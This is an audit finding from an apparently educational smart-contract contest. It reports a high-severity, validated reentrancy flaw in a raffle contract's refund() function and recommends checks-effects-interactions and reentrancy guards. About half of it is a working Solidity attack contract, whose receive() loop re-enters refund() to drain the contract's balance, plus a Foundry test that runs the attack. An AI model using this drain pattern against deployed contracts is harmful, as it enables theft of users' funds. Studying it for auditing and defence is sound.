Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`refund()` function reentrancy

Summary

The refund() function is employed to send back the entrance fee to the player if they wish to exit the raffle. The function accepts the playerIndex as its sole input argument. Initially, it checks whether the address provided in the playerIndex is equivalent to the msg.sender. Subsequently, it verifies if the address is not equal to the zero address.

Vulnerability Details

The entranceFee is returned to the player using the following line of code:

payable(msg.sender).sendValue(entranceFee);

However, after the sendValue function call, the index of the player is set to the zero address, creating an opportunity for a reentrancy attack.

Impact

Exploiting this vulnerability enables an attacker to drain the contract balance. The Proof of Concept (POC) provided below demonstrates this:

//SPDX-License-Identifier: MIT
interface IPuppyRaffle {
function refund(uint256) external payable;
function getActivePlayerIndex(address) external returns (uint256);
}
pragma solidity 0.7.6;
contract AttackRefundReEnter {
IPuppyRaffle public immutable puppyRaffle;
constructor(address puppyRaffleAddress) {
puppyRaffle = IPuppyRaffle(puppyRaffleAddress);
}
function getTheIndexOfAttacker() public returns (uint256 indexOfPlayer) {
return puppyRaffle.getActivePlayerIndex(msg.sender);
}
function attackPuppyRaffle(uint256) external payable {
uint256 indexOfAttacker = getTheIndexOfAttacker();
puppyRaffle.refund(indexOfAttacker);
}
receive() external payable {
uint256 indexOfAttacker = getTheIndexOfAttacker();
while (address(puppyRaffle).balance >= 1 ether) {
(this).attackPuppyRaffle(indexOfAttacker);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console, console2} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
import {AttackRefundReEnter} from "../src/myTestRefundReenter.sol";
contract MyTest is Test {
PuppyRaffle puppyRaffle;
AttackRefundReEnter attackRefundReEnter;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address playerFour = address(4);
address feeAddress = address(99);
uint256 duration = 1 days;
function setUp() public {
puppyRaffle = (new PuppyRaffle)(entranceFee, feeAddress, duration);
attackRefundReEnter = new AttackRefundReEnter(address(puppyRaffle));
}
modifier playersEntered() {
address[] memory players = new address[](5);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
players[4] = address(attackRefundReEnter);
puppyRaffle.enterRaffle{value: entranceFee * 5}(players);
_;
}
function testRefundReenter() public playersEntered {
console2.log("Balance of Attacker before:",address(address(attackRefundReEnter)).balance);
uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(attackRefundReEnter));
vm.prank(address(attackRefundReEnter));
attackRefundReEnter.attackPuppyRaffle(indexOfPlayer);
console2.log(
"Balance of Attacker after:",
(address(attackRefundReEnter)).balance);
}
}

Tools Used

  • Manual code review

  • Foundry

Recommendations

Implement the Check-Effects-Interactions pattern, and utilize non-reentrancy modifiers to prevent reentrancy attacks. These best practices can significantly enhance the security and robustness of the contract.

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.